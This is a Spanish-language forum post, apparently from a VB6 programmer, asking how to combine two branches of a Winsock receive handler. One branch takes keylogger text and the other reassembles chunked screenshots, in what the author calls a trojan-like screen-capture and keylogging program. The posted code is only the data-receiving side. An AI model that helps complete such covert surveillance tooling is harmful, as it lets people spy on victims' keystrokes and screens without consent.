Autor
tengo un problema... estoy haciendo un programa para captar la pantalla del escritorio junto con un keylogger... como lo hacen algunos troyanos.... el problema que tengo es que no logro repartir la transferencia de datos
por ejemplo, tengo en el cliente esto
Código:
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim nombr() As String, cad As String
ws.GetData datos
If Left(datos, 3) = "env" Then
nombr = Split(datos, "-")
cad = nombr(1)
Text1.txtEnviar = cad
End If
If Left(datos, 7) = "archivo" Then
dato = Split(datos, "|")
filesize = dato(1)
redi = filesize / 20000
redi = redi + 2
ReDim archivo(redi)
Open App.path & "\Captura.bmp" For Binary As #1
enviaraccion "enviar"
datos3 = ""
Else
If Len(archivo(i)) < 20000 Then
archivo(i) = archivo(i) + datos
tamaño = tamaño + Len(datos)
Else
i = i + 1
archivo(i) = archivo(i) + datos
tamaño = tamaño + Len(datos)
Put #1, , archivo(i - 1)
archivo(i - 1) = ""
End If
If tamaño = filesize Then
Put #1, , archivo(i)
tamaño = 0
archivo(i) = ""
Image1.Picture = LoadPicture(App.path & "\Captura.bmp")
Close #1
i = 0
End If
DoEvents
End If
End sub
El problema es que si coloco todo esto no funcionan los dos... solo funciona 1
ya que si unicamente coloco esto... el keylogger funciona
Código:
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim nombr() As String, cad As String
ws.GetData datos
If Left(datos, 3) = "env" Then
nombr = Split(datos, "-")
cad = nombr(1)
Text1.txtEnviar = cad
End If
End sub
Y si unicamente coloco esto... puedo capturar la pantalla sin problemas...
Código:
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
ws.GetData datos
If Left(datos, 7) = "archivo" Then
dato = Split(datos, "|")
filesize = dato(1)
redi = filesize / 20000
redi = redi + 2
ReDim archivo(redi)
Open App.path & "\Captura.bmp" For Binary As #1
enviaraccion "enviar"
datos3 = ""
Else
If Len(archivo(i)) < 20000 Then
archivo(i) = archivo(i) + datos
tamaño = tamaño + Len(datos)
Else
i = i + 1
archivo(i) = archivo(i) + datos
tamaño = tamaño + Len(datos)
Put #1, , archivo(i - 1)
archivo(i - 1) = ""
End If
If tamaño = filesize Then
Put #1, , archivo(i)
tamaño = 0
archivo(i) = ""
Image1.Picture = LoadPicture(App.path & "\Captura.bmp")
Close #1
i = 0
End If
DoEvents
End If
End sub
Pero si coloco los dos juntos... solo puedo utilizar 1 de ellos... porke si hago una captura de pantalla todo funciona bien, pero si utilizo el keylogger me aparece un mensaje que dice que una parte de codigo esta fuera de intervalo....
Código:
If Len(archivo(i)) < 20000 Then
como puedo hacer para separarlos?...
ya utilize...
Código:
Exit Sub ---> para separar el codigo del keylogger y del codigo para capturar la pantalla
Pero solo me deja utilizar uno de ellos...
Alguien tiene alguna idea...? Espero puedan ayudarme
Gracias
En línea
